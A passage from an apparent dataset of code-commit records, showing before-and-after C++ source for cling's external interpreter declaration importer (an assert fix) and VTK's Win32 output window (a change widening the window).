assert(childCurrentDeclContext->hasExternalVisibleStorage() &&\n \"DeclContext has no visible decls in storage\");\n\n \/\/Check if we have already found this declaration Name before\n DeclarationName parentDeclName;\n std::map<clang::DeclarationName,\n clang::DeclarationName>::iterator IDecl =\n m_ImportedDecls.find(childDeclName);\n if (IDecl != m_ImportedDecls.end()) {\n parentDeclName = IDecl->second;\n } else {\n \/\/ Get the identifier info from the parent interpreter\n \/\/ for this Name.\n std::string name = childDeclName.getAsString();\n IdentifierTable &parentIdentifierTable =\n m_ParentInterpreter->getCI()->getASTContext().Idents;\n IdentifierInfo &parentIdentifierInfo =\n parentIdentifierTable.get(name);\n parentDeclName = DeclarationName(&parentIdentifierInfo);\n }\n\n \/\/ Search in the map of the stored Decl Contexts for this\n \/\/ Decl Context.\n std::map<const clang::DeclContext *, clang::DeclContext *>::iterator\n IDeclContext = m_ImportedDeclContexts.find(childCurrentDeclContext);\n \/\/ If childCurrentDeclContext was found before and is already in the map,\n \/\/ then do the lookup using the stored pointer.\n if (IDeclContext == m_ImportedDeclContexts.end()) return false;\n\n DeclContext *parentDeclContext = IDeclContext->second;\n\n DeclContext::lookup_result lookup_result =\n parentDeclContext->lookup(parentDeclName);\n\n \/\/ Check if we found this Name in the parent interpreter\n if (!lookup_result.empty()) {\n if (Import(lookup_result,\n childCurrentDeclContext, childDeclName, parentDeclName))\n return true;\n }\n\n return false;\n }\n\n \/\/\/\\brief Make available to child all decls in parent's decl context\n \/\/\/ that corresponds to child decl context.\n void ExternalInterpreterSource::completeVisibleDeclsMap(\n const clang::DeclContext *childDeclContext) {\n assert (childDeclContext && \"No child decl context!\");\n\n if (!childDeclContext->hasExternalVisibleStorage())\n return;\n\n \/\/ Search in the map of the stored Decl Contexts for this\n \/\/ Decl Context.\n std::map<const clang::DeclContext *, clang::DeclContext *>::iterator\n IDeclContext = m_ImportedDeclContexts.find(childDeclContext);\n \/\/ If childCurrentDeclContext was found before and is already in the map,\n \/\/ then do the lookup using the stored pointer.\n if (IDeclContext == m_ImportedDeclContexts.end()) return ;\n\n DeclContext *parentDeclContext = IDeclContext->second;\n\n \/\/ Filter the decls from the external source using the stem information\n \/\/ stored in Sema.\n StringRef filter =\n m_ChildInterpreter->getCI()->getPreprocessor().getCodeCompletionFilter();\n for (DeclContext::decl_iterator IDeclContext =\n parentDeclContext->decls_begin(),\n EDeclContext =\n parentDeclContext->decls_end();\n IDeclContext != EDeclContext; ++IDeclContext) {\n if (NamedDecl* parentDecl = llvm::dyn_cast<NamedDecl>(*IDeclContext)) {\n DeclarationName childDeclName = parentDecl->getDeclName();\n if (auto II = childDeclName.getAsIdentifierInfo()) {\n StringRef name = II->getName();\n if (!name.empty() && name.startswith(filter))\n ImportDecl(parentDecl, childDeclName, childDeclName,\n childDeclContext);\n }\n }\n }\n\n const_cast<DeclContext *>(childDeclContext)->\n setHasExternalVisibleStorage(false);\n }\n} \/\/ end namespace cling\n<commit_msg>Fix wrong asserts.<commit_after>\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author: Elisavet Sakellari <elisavet.sakellari@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#include \"ExternalInterpreterSource.h\"\n#include \"cling\/Interpreter\/Interpreter.h\"\n#include \"cling\/Utils\/Diagnostics.h\"\n\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/AST\/ASTDiagnostic.h\"\n#include \"clang\/AST\/ASTImporter.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Lex\/Preprocessor.h\"\n#include \"clang\/Sema\/Sema.h\"\n\nusing namespace clang;\n\nnamespace {\n class ClingASTImporter : public ASTImporter {\n private:\n cling::ExternalInterpreterSource &m_Source;\n\n public:\n ClingASTImporter(ASTContext &ToContext, FileManager &ToFileManager,\n ASTContext &FromContext, FileManager &FromFileManager,\n bool MinimalImport,\n cling::ExternalInterpreterSource& source):\n ASTImporter(ToContext, ToFileManager, FromContext, FromFileManager,\n MinimalImport), m_Source(source) {}\n virtual ~ClingASTImporter() = default;\n\n void Imported(Decl *From, Decl *To) override {\n ASTImporter::Imported(From, To);\n\n if (clang::TagDecl* toTagDecl = dyn_cast<TagDecl>(To)) {\n toTagDecl->setHasExternalLexicalStorage();\n toTagDecl->setMustBuildLookupTable();\n toTagDecl->setHasExternalVisibleStorage();\n }\n if (NamespaceDecl *toNamespaceDecl = dyn_cast<NamespaceDecl>(To)) {\n toNamespaceDecl->setHasExternalVisibleStorage();\n }\n if (ObjCContainerDecl *toContainerDecl = dyn_cast<ObjCContainerDecl>(To)) {\n toContainerDecl->setHasExternalLexicalStorage();\n toContainerDecl->setHasExternalVisibleStorage();\n }\n \/\/ Put the name of the Decl imported with the\n \/\/ DeclarationName coming from the parent, in my map.\n if (NamedDecl *toNamedDecl = llvm::dyn_cast<NamedDecl>(To)) {\n NamedDecl *fromNamedDecl = llvm::dyn_cast<NamedDecl>(From);\n m_Source.addToImportedDecls(toNamedDecl->getDeclName(),\n fromNamedDecl->getDeclName());\n }\n if (DeclContext *toDeclContext = llvm::dyn_cast<DeclContext>(To)) {\n DeclContext *fromDeclContext = llvm::dyn_cast<DeclContext>(From);\n m_Source.addToImportedDeclContexts(toDeclContext, fromDeclContext);\n }\n }\n };\n}\n\nnamespace cling {\n\n ExternalInterpreterSource::ExternalInterpreterSource(\n const cling::Interpreter *parent, cling::Interpreter *child) :\n m_ParentInterpreter(parent), m_ChildInterpreter(child) {\n\n clang::DeclContext *parentTUDeclContext =\n m_ParentInterpreter->getCI()->getASTContext().getTranslationUnitDecl();\n\n clang::DeclContext *childTUDeclContext =\n m_ChildInterpreter->getCI()->getASTContext().getTranslationUnitDecl();\n\n \/\/ Also keep in the map of Decl Contexts the Translation Unit Decl Context\n m_ImportedDeclContexts[childTUDeclContext] = parentTUDeclContext;\n\n FileManager &childFM = m_ChildInterpreter->getCI()->getFileManager();\n FileManager &parentFM = m_ParentInterpreter->getCI()->getFileManager();\n\n ASTContext &fromASTContext = m_ParentInterpreter->getCI()->getASTContext();\n ASTContext &toASTContext = m_ChildInterpreter->getCI()->getASTContext();\n ClingASTImporter* importer\n = new ClingASTImporter(toASTContext, childFM, fromASTContext, parentFM,\n \/*MinimalImport : ON*\/ true, *this);\n m_Importer.reset(llvm::dyn_cast<ASTImporter>(importer));\n }\n\n ExternalInterpreterSource::~ExternalInterpreterSource() {}\n\n void ExternalInterpreterSource::ImportDecl(Decl *declToImport,\n DeclarationName &childDeclName,\n DeclarationName &parentDeclName,\n const DeclContext *childCurrentDeclContext) {\n\n \/\/ Don't do the import if we have a Function Template or using decls. They\n \/\/ are not supported by clang.\n \/\/ FIXME: These are temporary checks and should be de-activated once clang\n \/\/ supports their import.\n if ((declToImport->isFunctionOrFunctionTemplate()\n && declToImport->isTemplateDecl()) || dyn_cast<UsingDecl>(declToImport)\n || dyn_cast<UsingShadowDecl>(declToImport)) {\n#ifndef NDEBUG\n utils::DiagnosticsStore DS(\n m_Importer->getFromContext().getDiagnostics(), false, false, true);\n\n const Decl* To = llvm::cantFail(m_Importer->Import(declToImport));\n assert(To && \"Import did not work!\");\n assert((DS.empty() ||\n DS[0].getID() == clang::diag::err_unsupported_ast_node) &&\n \"Import not supported!\");\n#endif\n return;\n }\n\n if (auto toOrErr = m_Importer->Import(declToImport)) {\n if (NamedDecl *importedNamedDecl = llvm::dyn_cast<NamedDecl>(*toOrErr)) {\n SetExternalVisibleDeclsForName(childCurrentDeclContext,\n importedNamedDecl->getDeclName(),\n importedNamedDecl);\n }\n \/\/ Put the name of the Decl imported with the\n \/\/ DeclarationName coming from the parent, in my map.\n m_ImportedDecls[childDeclName] = parentDeclName;\n } else {\n logAllUnhandledErrors(toOrErr.takeError(), llvm::errs(),\n \"Error importing decl\");\n }\n }\n\n void ExternalInterpreterSource::ImportDeclContext(\n DeclContext *declContextToImport,\n DeclarationName &childDeclName,\n DeclarationName &parentDeclName,\n const DeclContext *childCurrentDeclContext) {\n\n if (auto toOrErr = m_Importer->ImportContext(declContextToImport)) {\n\n DeclContext *importedDC = *toOrErr;\n importedDC->setHasExternalVisibleStorage(true);\n if (NamedDecl *importedND = llvm::dyn_cast<NamedDecl>(importedDC)) {\n SetExternalVisibleDeclsForName(childCurrentDeclContext,\n importedND->getDeclName(),\n importedND);\n }\n\n \/\/ Put the name of the DeclContext imported with the\n \/\/ DeclarationName coming from the parent, in my map.\n m_ImportedDecls[childDeclName] = parentDeclName;\n\n \/\/ And also put the declaration context I found from the parent Interpreter\n \/\/ in the map of the child Interpreter to have it for the future.\n m_ImportedDeclContexts[importedDC] = declContextToImport;\n } else {\n logAllUnhandledErrors(toOrErr.takeError(), llvm::errs(),\n \"Error importing decl context\");\n }\n }\n\n bool ExternalInterpreterSource::Import(DeclContext::lookup_result lookup_result,\n const DeclContext *childCurrentDeclContext,\n DeclarationName &childDeclName,\n DeclarationName &parentDeclName) {\n\n\n\n for (DeclContext::lookup_iterator I = lookup_result.begin(),\n E = lookup_result.end(); I != E; ++I) {\n \/\/ Check if this Name we are looking for is\n \/\/ a DeclContext (for example a Namespace, function etc.).\n if (DeclContext *declContextToImport = llvm::dyn_cast<DeclContext>(*I)) {\n\n ImportDeclContext(declContextToImport, childDeclName,\n parentDeclName, childCurrentDeclContext);\n\n }\n ImportDecl(*I, childDeclName, parentDeclName, childCurrentDeclContext);\n }\n return true;\n }\n\n \/\/\/\\brief This is the one of the most important function of the class\n \/\/\/ since from here initiates the lookup and import part of the missing\n \/\/\/ Decl(s) (Contexts).\n \/\/\/\n bool ExternalInterpreterSource::FindExternalVisibleDeclsByName(\n const DeclContext *childCurrentDeclContext, DeclarationName childDeclName) {\n\n assert(childDeclName && \"Child Decl name is empty\");\n\n assert(childCurrentDeclContext->hasExternalVisibleStorage() &&\n \"DeclContext has no visible decls in storage\");\n\n \/\/Check if we have already found this declaration Name before\n DeclarationName parentDeclName;\n std::map<clang::DeclarationName,\n clang::DeclarationName>::iterator IDecl =\n m_ImportedDecls.find(childDeclName);\n if (IDecl != m_ImportedDecls.end()) {\n parentDeclName = IDecl->second;\n } else {\n \/\/ Get the identifier info from the parent interpreter\n \/\/ for this Name.\n std::string name = childDeclName.getAsString();\n IdentifierTable &parentIdentifierTable =\n m_ParentInterpreter->getCI()->getASTContext().Idents;\n IdentifierInfo &parentIdentifierInfo =\n parentIdentifierTable.get(name);\n parentDeclName = DeclarationName(&parentIdentifierInfo);\n }\n\n \/\/ Search in the map of the stored Decl Contexts for this\n \/\/ Decl Context.\n std::map<const clang::DeclContext *, clang::DeclContext *>::iterator\n IDeclContext = m_ImportedDeclContexts.find(childCurrentDeclContext);\n \/\/ If childCurrentDeclContext was found before and is already in the map,\n \/\/ then do the lookup using the stored pointer.\n if (IDeclContext == m_ImportedDeclContexts.end()) return false;\n\n DeclContext *parentDeclContext = IDeclContext->second;\n\n DeclContext::lookup_result lookup_result =\n parentDeclContext->lookup(parentDeclName);\n\n \/\/ Check if we found this Name in the parent interpreter\n if (!lookup_result.empty()) {\n if (Import(lookup_result,\n childCurrentDeclContext, childDeclName, parentDeclName))\n return true;\n }\n\n return false;\n }\n\n \/\/\/\\brief Make available to child all decls in parent's decl context\n \/\/\/ that corresponds to child decl context.\n void ExternalInterpreterSource::completeVisibleDeclsMap(\n const clang::DeclContext *childDeclContext) {\n assert (childDeclContext && \"No child decl context!\");\n\n if (!childDeclContext->hasExternalVisibleStorage())\n return;\n\n \/\/ Search in the map of the stored Decl Contexts for this\n \/\/ Decl Context.\n std::map<const clang::DeclContext *, clang::DeclContext *>::iterator\n IDeclContext = m_ImportedDeclContexts.find(childDeclContext);\n \/\/ If childCurrentDeclContext was found before and is already in the map,\n \/\/ then do the lookup using the stored pointer.\n if (IDeclContext == m_ImportedDeclContexts.end()) return ;\n\n DeclContext *parentDeclContext = IDeclContext->second;\n\n \/\/ Filter the decls from the external source using the stem information\n \/\/ stored in Sema.\n StringRef filter =\n m_ChildInterpreter->getCI()->getPreprocessor().getCodeCompletionFilter();\n for (DeclContext::decl_iterator IDeclContext =\n parentDeclContext->decls_begin(),\n EDeclContext =\n parentDeclContext->decls_end();\n IDeclContext != EDeclContext; ++IDeclContext) {\n if (NamedDecl* parentDecl = llvm::dyn_cast<NamedDecl>(*IDeclContext)) {\n DeclarationName childDeclName = parentDecl->getDeclName();\n if (auto II = childDeclName.getAsIdentifierInfo()) {\n StringRef name = II->getName();\n if (!name.empty() && name.startswith(filter))\n ImportDecl(parentDecl, childDeclName, childDeclName,\n childDeclContext);\n }\n }\n }\n\n const_cast<DeclContext *>(childDeclContext)->\n setHasExternalVisibleStorage(false);\n }\n} \/\/ end namespace cling\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkWin32OutputWindow.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkWin32OutputWindow.h\"\n\n#include \"vtkObjectFactory.h\"\n#include \"vtkWindows.h\"\n\nvtkStandardNewMacro(vtkWin32OutputWindow);\n\nHWND vtkWin32OutputWindowOutputWindow = 0;\n\n\/\/----------------------------------------------------------------------------\nLRESULT APIENTRY vtkWin32OutputWindowWndProc(HWND hWnd, UINT message,\n WPARAM wParam,\n LPARAM lParam)\n{\n switch (message)\n {\n case WM_SIZE:\n {\n int w = LOWORD(lParam); \/\/ width of client area\n int h = HIWORD(lParam); \/\/ height of client area\n\n MoveWindow(vtkWin32OutputWindowOutputWindow,\n 0, 0, w, h, true);\n }\n break;\n case WM_DESTROY:\n vtkWin32OutputWindowOutputWindow = NULL;\n vtkObject::GlobalWarningDisplayOff();\n break;\n case WM_CREATE:\n break;\n }\n return DefWindowProc(hWnd, message, wParam, lParam);\n}\n\n\/\/----------------------------------------------------------------------------\nvtkWin32OutputWindow::vtkWin32OutputWindow()\n{\n \/\/ Default to sending output to stderr\/cerr when running a dashboard:\n \/\/\n if(getenv(\"DART_TEST_FROM_DART\") ||\n getenv(\"DASHBOARD_TEST_FROM_CTEST\"))\n {\n this->SendToStdErr = true;\n }\n else\n {\n this->SendToStdErr = false;\n }\n}\n\n\/\/----------------------------------------------------------------------------\nvtkWin32OutputWindow::~vtkWin32OutputWindow()\n{\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Display text in the window, and translate the \\n to \\r\\n.\n\/\/\nvoid vtkWin32OutputWindow::DisplayText(const char* someText)\n{\n if(!someText)\n {\n return;\n }\n if(this->PromptUser)\n {\n this->PromptText(someText);\n return;\n }\n\n \/\/ Create a buffer big enough to hold the entire text\n char* buffer = new char[strlen(someText)+1];\n \/\/ Start at the beginning\n const char* NewLinePos = someText;\n while(NewLinePos)\n {\n int len = 0;\n \/\/ Find the next new line in text\n NewLinePos = strchr(someText, '\\n');\n \/\/ if no new line is found then just add the text\n if(NewLinePos == 0)\n {\n vtkWin32OutputWindow::AddText(someText);\n OutputDebugString(someText);\n\n if (this->SendToStdErr)\n {\n cerr << someText;\n }\n }\n \/\/ if a new line is found copy it to the buffer\n \/\/ and add the buffer with a control new line\n else\n {\n len = NewLinePos - someText;\n strncpy(buffer, someText, len);\n buffer[len] = 0;\n someText = NewLinePos+1;\n vtkWin32OutputWindow::AddText(buffer);\n vtkWin32OutputWindow::AddText(\"\\r\\n\");\n OutputDebugString(buffer);\n OutputDebugString(\"\\r\\n\");\n\n if (this->SendToStdErr)\n {\n cerr << buffer;\n cerr << \"\\r\\n\";\n }\n }\n }\n delete [] buffer;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Add some text to the EDIT control.\n\/\/\nvoid vtkWin32OutputWindow::AddText(const char* someText)\n{\n if(!Initialize() || (strlen(someText) == 0))\n {\n return;\n }\n\n#ifdef UNICODE\n \/\/ move to the end of the text area\n SendMessageW( vtkWin32OutputWindowOutputWindow, EM_SETSEL,\n (WPARAM)-1, (LPARAM)-1 );\n wchar_t *wmsg = new wchar_t [mbstowcs(NULL, someText, 32000)+1];\n mbstowcs(wmsg, someText, 32000);\n \/\/ Append the text to the control\n SendMessageW( vtkWin32OutputWindowOutputWindow, EM_REPLACESEL,\n 0, (LPARAM)wmsg );\n delete [] wmsg;\n#else\n \/\/ move to the end of the text area\n SendMessageA( vtkWin32OutputWindowOutputWindow, EM_SETSEL,\n (WPARAM)-1, (LPARAM)-1 );\n \/\/ Append the text to the control\n SendMessageA( vtkWin32OutputWindowOutputWindow, EM_REPLACESEL,\n 0, (LPARAM)someText );\n#endif\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ initialize the output window with an EDIT control and\n\/\/ a container window.\n\/\/\nint vtkWin32OutputWindow::Initialize()\n{\n \/\/ check to see if it is already initialized\n if(vtkWin32OutputWindowOutputWindow)\n {\n return 1;\n }\n\n \/\/ Initialize the output window\n\n WNDCLASS wndClass;\n \/\/ has the class been registered ?\n#ifdef UNICODE\n if (!GetClassInfo(GetModuleHandle(NULL),L\"vtkOutputWindow\",&wndClass))\n#else\n if (!GetClassInfo(GetModuleHandle(NULL),\"vtkOutputWindow\",&wndClass))\n#endif\n {\n wndClass.style = CS_HREDRAW | CS_VREDRAW;\n wndClass.lpfnWndProc = vtkWin32OutputWindowWndProc;\n wndClass.cbClsExtra = 0;\n wndClass.hInstance = GetModuleHandle(NULL);\n#ifndef _WIN32_WCE\n wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);\n#endif\n wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);\n wndClass.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);\n wndClass.lpszMenuName = NULL;\n#ifdef UNICODE\n wndClass.lpszClassName = L\"vtkOutputWindow\";\n#else\n wndClass.lpszClassName = \"vtkOutputWindow\";\n#endif\n \/\/ vtk doesn't use these extra bytes, but app writers\n \/\/ may want them, so we provide them -- big enough for\n \/\/ one run time pointer: 4 bytes on 32-bit builds, 8 bytes\n \/\/ on 64-bit builds\n wndClass.cbWndExtra = sizeof(vtkLONG);\n RegisterClass(&wndClass);\n }\n\n \/\/ create parent container window\n#ifdef _WIN32_WCE\n HWND win = CreateWindow(\n L\"vtkOutputWindow\", L\"vtkOutputWindow\",\n WS_OVERLAPPED | WS_CLIPCHILDREN,\n 0, 0, 512, 512,\n NULL, NULL, GetModuleHandle(NULL), NULL);\n#elif UNICODE\n HWND win = CreateWindow(\n L\"vtkOutputWindow\", L\"vtkOutputWindow\",\n WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN,\n 0, 0, 512, 512,\n NULL, NULL, GetModuleHandle(NULL), NULL);\n#else\n HWND win = CreateWindow(\n \"vtkOutputWindow\", \"vtkOutputWindow\",\n WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN,\n 0, 0, 512, 512,\n NULL, NULL, GetModuleHandle(NULL), NULL);\n#endif\n\n \/\/ Now create child window with text display box\n CREATESTRUCT lpParam;\n lpParam.hInstance = GetModuleHandle(NULL);\n lpParam.hMenu = NULL;\n lpParam.hwndParent = win;\n lpParam.cx = 512;\n lpParam.cy = 512;\n lpParam.x = 0;\n lpParam.y = 0;\n#if defined(_WIN32_WCE) || defined(UNICODE)\n lpParam.lpszName = L\"Output Control\";\n lpParam.lpszClass = L\"EDIT\"; \/\/ use the RICHEDIT control widget\n#else\n lpParam.lpszName = \"Output Control\";\n lpParam.lpszClass = \"EDIT\"; \/\/ use the RICHEDIT control widget\n#endif\n\n#ifdef _WIN32_WCE\n lpParam.style = ES_MULTILINE | ES_READONLY | WS_CHILD\n | ES_AUTOVSCROLL | ES_AUTOHSCROLL | WS_VISIBLE\n | WS_VSCROLL | WS_HSCROLL;\n#else\n lpParam.style = ES_MULTILINE | ES_READONLY | WS_CHILD\n | ES_AUTOVSCROLL | ES_AUTOHSCROLL | WS_VISIBLE | WS_MAXIMIZE\n | WS_VSCROLL | WS_HSCROLL;\n#endif\n\n lpParam.dwExStyle = 0;\n \/\/ Create the EDIT window as a child of win\n#if defined(_WIN32_WCE) || defined(UNICODE)\n vtkWin32OutputWindowOutputWindow = CreateWindow(\n lpParam.lpszClass, \/\/ pointer to registered class name\n L\"\", \/\/ pointer to window name\n lpParam.style, \/\/ window style\n lpParam.x, \/\/ horizontal position of window\n lpParam.y, \/\/ vertical position of window\n lpParam.cx, \/\/ window width\n lpParam.cy, \/\/ window height\n lpParam.hwndParent, \/\/ handle to parent or owner window\n NULL, \/\/ handle to menu or child-window identifier\n lpParam.hInstance, \/\/ handle to application instance\n &lpParam \/\/ pointer to window-creation data\n );\n#else\n vtkWin32OutputWindowOutputWindow = CreateWindow(\n lpParam.lpszClass, \/\/ pointer to registered class name\n \"\", \/\/ pointer to window name\n lpParam.style, \/\/ window style\n lpParam.x, \/\/ horizontal position of window\n lpParam.y, \/\/ vertical position of window\n lpParam.cx, \/\/ window width\n lpParam.cy, \/\/ window height\n lpParam.hwndParent, \/\/ handle to parent or owner window\n NULL, \/\/ handle to menu or child-window identifier\n lpParam.hInstance, \/\/ handle to application instance\n &lpParam \/\/ pointer to window-creation data\n );\n#endif\n\n const int maxsize = 5242880;\n\n#ifdef UNICODE\n SendMessageW(vtkWin32OutputWindowOutputWindow,\n EM_LIMITTEXT, maxsize, 0L);\n#else\n SendMessageA(vtkWin32OutputWindowOutputWindow,\n EM_LIMITTEXT, maxsize, 0L);\n#endif\n\n\n \/\/ show the top level container window\n ShowWindow(win, SW_SHOW);\n return 1;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkWin32OutputWindow::PromptText(const char* someText)\n{\n char *vtkmsg = new char [strlen(someText) + 100];\n sprintf(vtkmsg,\"%s\\nPress Cancel to suppress any further messages.\",\n someText);\n#ifdef UNICODE\n wchar_t *wmsg = new wchar_t [mbstowcs(NULL, vtkmsg, 32000)+1];\n mbstowcs(wmsg, vtkmsg, 32000);\n if (MessageBox(NULL, wmsg, L\"Error\",\n MB_ICONERROR | MB_OKCANCEL) == IDCANCEL)\n {\n vtkObject::GlobalWarningDisplayOff();\n }\n delete [] wmsg;\n#else\n if (MessageBox(NULL, vtkmsg, \"Error\",\n MB_ICONERROR | MB_OKCANCEL) == IDCANCEL)\n {\n vtkObject::GlobalWarningDisplayOff();\n }\n#endif\n delete [] vtkmsg;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkWin32OutputWindow::PrintSelf(ostream& os, vtkIndent indent)\n{\n this->Superclass::PrintSelf(os,indent);\n\n if (vtkWin32OutputWindowOutputWindow)\n {\n os << indent << \"OutputWindow: \"\n << vtkWin32OutputWindowOutputWindow << \"\\n\";\n }\n else\n {\n os << indent << \"OutputWindow: (null)\\n\";\n }\n\n os << indent << \"SendToStdErr: \" << this->SendToStdErr << \"\\n\";\n}\n<commit_msg>make wider so we can see errors<commit_after>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkWin32OutputWindow.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkWin32OutputWindow.h\"\n\n#include \"vtkObjectFactory.h\"\n#include \"vtkWindows.h\"\n\nvtkStandardNewMacro(vtkWin32OutputWindow);\n\nHWND vtkWin32OutputWindowOutputWindow = 0;\n\n\/\/----------------------------------------------------------------------------\nLRESULT APIENTRY vtkWin32OutputWindowWndProc(HWND hWnd, UINT message,\n WPARAM wParam,\n LPARAM lParam)\n{\n switch (message)\n {\n case WM_SIZE:\n {\n int w = LOWORD(lParam); \/\/ width of client area\n int h = HIWORD(lParam); \/\/ height of client area\n\n MoveWindow(vtkWin32OutputWindowOutputWindow,\n 0, 0, w, h, true);\n }\n break;\n case WM_DESTROY:\n vtkWin32OutputWindowOutputWindow = NULL;\n vtkObject::GlobalWarningDisplayOff();\n break;\n case WM_CREATE:\n break;\n }\n return DefWindowProc(hWnd, message, wParam, lParam);\n}\n\n\/\/----------------------------------------------------------------------------\nvtkWin32OutputWindow::vtkWin32OutputWindow()\n{\n \/\/ Default to sending output to stderr\/cerr when running a dashboard:\n \/\/\n if(getenv(\"DART_TEST_FROM_DART\") ||\n getenv(\"DASHBOARD_TEST_FROM_CTEST\"))\n {\n this->SendToStdErr = true;\n }\n else\n {\n this->SendToStdErr = false;\n }\n}\n\n\/\/----------------------------------------------------------------------------\nvtkWin32OutputWindow::~vtkWin32OutputWindow()\n{\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Display text in the window, and translate the \\n to \\r\\n.\n\/\/\nvoid vtkWin32OutputWindow::DisplayText(const char* someText)\n{\n if(!someText)\n {\n return;\n }\n if(this->PromptUser)\n {\n this->PromptText(someText);\n return;\n }\n\n \/\/ Create a buffer big enough to hold the entire text\n char* buffer = new char[strlen(someText)+1];\n \/\/ Start at the beginning\n const char* NewLinePos = someText;\n while(NewLinePos)\n {\n int len = 0;\n \/\/ Find the next new line in text\n NewLinePos = strchr(someText, '\\n');\n \/\/ if no new line is found then just add the text\n if(NewLinePos == 0)\n {\n vtkWin32OutputWindow::AddText(someText);\n OutputDebugString(someText);\n\n if (this->SendToStdErr)\n {\n cerr << someText;\n }\n }\n \/\/ if a new line is found copy it to the buffer\n \/\/ and add the buffer with a control new line\n else\n {\n len = NewLinePos - someText;\n strncpy(buffer, someText, len);\n buffer[len] = 0;\n someText = NewLinePos+1;\n vtkWin32OutputWindow::AddText(buffer);\n vtkWin32OutputWindow::AddText(\"\\r\\n\");\n OutputDebugString(buffer);\n OutputDebugString(\"\\r\\n\");\n\n if (this->SendToStdErr)\n {\n cerr << buffer;\n cerr << \"\\r\\n\";\n }\n }\n }\n delete [] buffer;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Add some text to the EDIT control.\n\/\/\nvoid vtkWin32OutputWindow::AddText(const char* someText)\n{\n if(!Initialize() || (strlen(someText) == 0))\n {\n return;\n }\n\n#ifdef UNICODE\n \/\/ move to the end of the text area\n SendMessageW( vtkWin32OutputWindowOutputWindow, EM_SETSEL,\n (WPARAM)-1, (LPARAM)-1 );\n wchar_t *wmsg = new wchar_t [mbstowcs(NULL, someText, 32000)+1];\n mbstowcs(wmsg, someText, 32000);\n \/\/ Append the text to the control\n SendMessageW( vtkWin32OutputWindowOutputWindow, EM_REPLACESEL,\n 0, (LPARAM)wmsg );\n delete [] wmsg;\n#else\n \/\/ move to the end of the text area\n SendMessageA( vtkWin32OutputWindowOutputWindow, EM_SETSEL,\n (WPARAM)-1, (LPARAM)-1 );\n \/\/ Append the text to the control\n SendMessageA( vtkWin32OutputWindowOutputWindow, EM_REPLACESEL,\n 0, (LPARAM)someText );\n#endif\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ initialize the output window with an EDIT control and\n\/\/ a container window.\n\/\/\nint vtkWin32OutputWindow::Initialize()\n{\n \/\/ check to see if it is already initialized\n if(vtkWin32OutputWindowOutputWindow)\n {\n return 1;\n }\n\n \/\/ Initialize the output window\n\n WNDCLASS wndClass;\n \/\/ has the class been registered ?\n#ifdef UNICODE\n if (!GetClassInfo(GetModuleHandle(NULL),L\"vtkOutputWindow\",&wndClass))\n#else\n if (!GetClassInfo(GetModuleHandle(NULL),\"vtkOutputWindow\",&wndClass))\n#endif\n {\n wndClass.style = CS_HREDRAW | CS_VREDRAW;\n wndClass.lpfnWndProc = vtkWin32OutputWindowWndProc;\n wndClass.cbClsExtra = 0;\n wndClass.hInstance = GetModuleHandle(NULL);\n#ifndef _WIN32_WCE\n wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);\n#endif\n wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);\n wndClass.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);\n wndClass.lpszMenuName = NULL;\n#ifdef UNICODE\n wndClass.lpszClassName = L\"vtkOutputWindow\";\n#else\n wndClass.lpszClassName = \"vtkOutputWindow\";\n#endif\n \/\/ vtk doesn't use these extra bytes, but app writers\n \/\/ may want them, so we provide them -- big enough for\n \/\/ one run time pointer: 4 bytes on 32-bit builds, 8 bytes\n \/\/ on 64-bit builds\n wndClass.cbWndExtra = sizeof(vtkLONG);\n RegisterClass(&wndClass);\n }\n\n \/\/ create parent container window\n#ifdef _WIN32_WCE\n HWND win = CreateWindow(\n L\"vtkOutputWindow\", L\"vtkOutputWindow\",\n WS_OVERLAPPED | WS_CLIPCHILDREN,\n 0, 0, 800, 512,\n NULL, NULL, GetModuleHandle(NULL), NULL);\n#elif UNICODE\n HWND win = CreateWindow(\n L\"vtkOutputWindow\", L\"vtkOutputWindow\",\n WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN,\n 0, 0, 800, 512,\n NULL, NULL, GetModuleHandle(NULL), NULL);\n#else\n HWND win = CreateWindow(\n \"vtkOutputWindow\", \"vtkOutputWindow\",\n WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN,\n 0, 0, 800, 512,\n NULL, NULL, GetModuleHandle(NULL), NULL);\n#endif\n\n \/\/ Now create child window with text display box\n CREATESTRUCT lpParam;\n lpParam.hInstance = GetModuleHandle(NULL);\n lpParam.hMenu = NULL;\n 